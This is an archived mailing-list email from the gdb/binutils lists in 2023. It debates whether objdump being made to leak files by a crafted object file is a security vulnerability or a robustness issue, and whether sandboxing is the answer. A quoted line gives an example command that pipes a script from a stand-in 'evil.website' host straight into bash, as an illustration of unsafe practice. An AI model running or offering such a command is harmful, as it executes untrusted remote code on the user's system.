From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from simark.ca by simark.ca with LMTP id NF+1NHYGOGT0sioAWB0awg (envelope-from ) for ; Thu, 13 Apr 2023 09:41:10 -0400 Received: by simark.ca (Postfix, from userid 112) id C5D771E221; Thu, 13 Apr 2023 09:41:10 -0400 (EDT) Authentication-Results: simark.ca; dkim=pass (1024-bit key; secure) header.d=sourceware.org header.i=@sourceware.org header.a=rsa-sha256 header.s=default header.b=pmf2Mcvo; dkim-atps=neutral X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on simark.ca X-Spam-Level: X-Spam-Status: No, score=-8.0 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,MAILING_LIST_MULTI,NICE_REPLY_A, RCVD_IN_DNSWL_HI,RDNS_DYNAMIC,URIBL_BLOCKED autolearn=ham autolearn_force=no version=3.4.6 Received: from sourceware.org (ip-8-43-85-97.sourceware.org [8.43.85.97]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by simark.ca (Postfix) with ESMTPS id 3F7EC1E0D3 for ; Thu, 13 Apr 2023 09:41:10 -0400 (EDT) Received: from server2.sourceware.org (localhost [IPv6:::1]) by sourceware.org (Postfix) with ESMTP id B5C4B385414F for ; Thu, 13 Apr 2023 13:41:08 +0000 (GMT) DKIM-Filter: OpenDKIM Filter v2.11.0 sourceware.org B5C4B385414F DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sourceware.org; s=default; t=1681393268; bh=xXlAAgzmb+oSgWbvpkdF9cyD+gJ2Wowg0jDrTqv30zc=; h=Date:Subject:To:Cc:References:In-Reply-To:List-Id: List-Unsubscribe:List-Archive:List-Post:List-Help:List-Subscribe: From:Reply-To:From; b=pmf2McvokngkQBc16ECI30RSeBQsrJvpWruboTkdctfNnNPfc52iIhXTy5XgxDMlg GeSdQ/EYCK6gbkdQVgW7DiabzCJ6zP0SBCY/iM0N2XE3NsvLeR4fzswy5ps47bzVUg qJQ0MHkjaWihtT+ymUp7n8DlcOVViWIIrbnJkJIM= Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by sourceware.org (Postfix) with ESMTP id 8FD9D3858D32; Thu, 13 Apr 2023 13:40:41 +0000 (GMT) DMARC-Filter: OpenDMARC Filter v1.4.2 sourceware.org 8FD9D3858D32 Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id AB43211FB; Thu, 13 Apr 2023 06:41:25 -0700 (PDT) Received: from [10.2.78.76] (unknown [10.2.78.76]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 87C1B3F73F; Thu, 13 Apr 2023 06:40:40 -0700 (PDT) Message-ID: <2d4c7f13-8a35-3ce5-1f90-ce849a690e66@foss.arm.com> Date: Thu, 13 Apr 2023 14:40:39 +0100 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Thunderbird/102.9.0 Subject: Re: RFC: Adding a SECURITY.md document to the Binutils Content-Language: en-GB To: Siddhesh Poyarekar , Nick Clifton , Binutils Cc: "gdb@sourceware.org" References: <1c38b926-e003-0e21-e7f1-3d5dbec2aabf@redhat.com> <5b147005-bd28-4cf9-b9e7-479ef02cb1ad@foss.arm.com> <5d044987-39eb-a060-1b2b-9d07b1515e7d@gotplt.org> <73bc480a-a927-2773-8756-50350f76dfbf@gotplt.org> <4ed86e65-0b7f-11d4-8061-2c5d0b1e147e@foss.arm.com> <7b6b10f8-e480-8efa-fbb8-4fc4bf2cf356@gotplt.org> <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org> In-Reply-To: <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: gdb@sourceware.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: Gdb mailing list List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , From: Richard Earnshaw via Gdb Reply-To: Richard Earnshaw Errors-To: gdb-bounces+public-inbox=simark.ca@sourceware.org Sender: "Gdb" On 13/04/2023 14:35, Siddhesh Poyarekar wrote: > On 2023-04-13 09:11, Richard Earnshaw wrote: >>> This is why when one does a: >>> >>> curl -s http://evil.website/malicious-script.sh | bash >>> >>> it is a legitimate security issue, but it's not a vulnerability in >>> bash, nor can it be secured in bash.  One must either do this in a >>> sandbox to contain its impact in that sandbox, or do a secondary >>> analysis (again in a sandbox) to determine that it is safe. >> >> Right, but that's not the case I was concerned about.  My scenario is >> more like when you run something like >> >> objdump foo.o >> >> but reading foo.o causes corruption in the tools (eg by a buffer >> exploit) and ends up sending a confidential file to a third party. > > It's not fundamentally different from, e.g. > > bash malicious-script.sh > > it just feels different because you elided the transport mechanism. > Fundamentally, it is unsafe to do anything with untrusted content > without sandboxing, so objdump is no different.  Sure, objdump is an > analysis tool, so it should be able to analyze foo.o without crashing, > but that's a robustness issue, not a security one.  The security aspect > should be handled by a sandbox. Sorry, I disagree. Sending files to third parties is completely outside of the intended scope of objdump, so if it ends up being able to do so, that's a security issue. R.